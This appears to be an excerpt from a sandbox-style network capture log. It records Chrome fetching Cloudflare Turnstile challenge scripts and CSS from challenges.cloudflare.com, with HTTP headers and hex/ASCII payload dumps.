fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49785	104.18.94.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:19 UTC	383	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:19 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:19 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 9025c021ff768c47-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:19 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49786	104.18.94.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:19 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9025c0217ef90f85&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rufw6/0x4AAAAAAA5J_zo6B27ku3kM/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:20 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:20 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 120405 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 9025c0256b2d0f37-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:20 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 22 3a 22 59 6f 75 72 25 32 30 64 65 76 69 63 65 25 32 30 63 6c 6f 63 6b 25 32 30 69 73 25 32 30 73 65 74 25 32 30 74 6f 25 32 30 61 25 32 30 77 72 6f 6e 67 25 32 30 74 69 6d 65 25 32 30 6f 72 25 32 30 74 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 70 61 67 65 25 32 30 77 61 73 25 32 30 61 Data Ascii: %20here%20for%20more%20information%3C%2Fa%3E","turnstile_feedback_report":"Having%20trouble%3F","turnstile_footer_terms":"Terms","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20a
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 2c 66 59 2c 67 61 2c 67 67 2c 67 68 2c 67 69 2c 67 73 2c 67 44 2c 67 48 2c 66 32 2c 66 33 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 39 36 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 36 33 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 38 30 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 37 38 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 34 37 37 29 29 2f 35 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 35 39 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 33 33 30 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 49 Data Ascii: ,fY,ga,gg,gh,gi,gs,gD,gH,f2,f3){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1296))/1(-parseInt(gI(1363))/2)+-parseInt(gI(680))/3(-parseInt(gI(878))/4)+parseInt(gI(477))/5*(-parseInt(gI(659))/6)+parseInt(gI(330))/7+parseInt(gI
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 70 4c 46 55 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 7a 61 63 47 53 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 41 72 68 46 79 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 75 78 77 46 72 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 42 50 50 77 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 42 6f 68 5a 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 44 79 77 59 6b 27 3a 68 72 28 31 30 30 33 29 2c 27 Data Ascii: D':function(h,i){return h-i},'pLFUO':function(h,i){return h<i},'zacGS':function(h,i){return h<<i},'ArhFy':function(h,i){return h(i)},'uxwFr':function(h,i){return h-i},'BPPwR':function(h,i){return i==h},'BohZm':function(h,i){return i==h},'DywYk':hr(1003),'
2025-01-15 12:08:20 UTC	1369	IN	Data Raw: 64 5b 68 75 28 33 37 30 29 5d 28 43 2c 49 29 3b 4b 3c 3c 3d 31 2c 4c 3d 3d 64 5b 68 75 28 33 33 38 29 5d 28 6f 2c 31 29 3f 28 4c 3d 30 2c 4a 5b 68 75 28 31 35 34 36 29 5d 28 64 5b 68 75 28 31 32 33 33 29 5d 28 73 2c 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 43 2b 2b 29 3b 66 6f 72 28 50 3d 46 5b 68 75 28 31 35 35 34 29 5d 28 30 29 2c 43 3d 30 3b 64 5b 68 75 28 37 34 37 29 5d 28 38 2c 43 29 3b 4b 3d 64 5b 68 75 28 38 39 33 29 5d 28 4b 3c 3c 31 2c 50 26 31 2e 32 37 29 2c 6f 2d 31 3d 3d 4c 3f 28 4c 3d 30 2c 4a 5b 68 75 28 31 35 34 36 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3e 3e 3d 31 2c 43 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 50 3d 31 2c 43 3d 30 3b 64 5b 68 75 28 31 37 32 32 29 5d 28 43 2c 49 29 3b 4b 3d 64 5b 68 75 28 38 39 33 29 5d 28 Data Ascii: 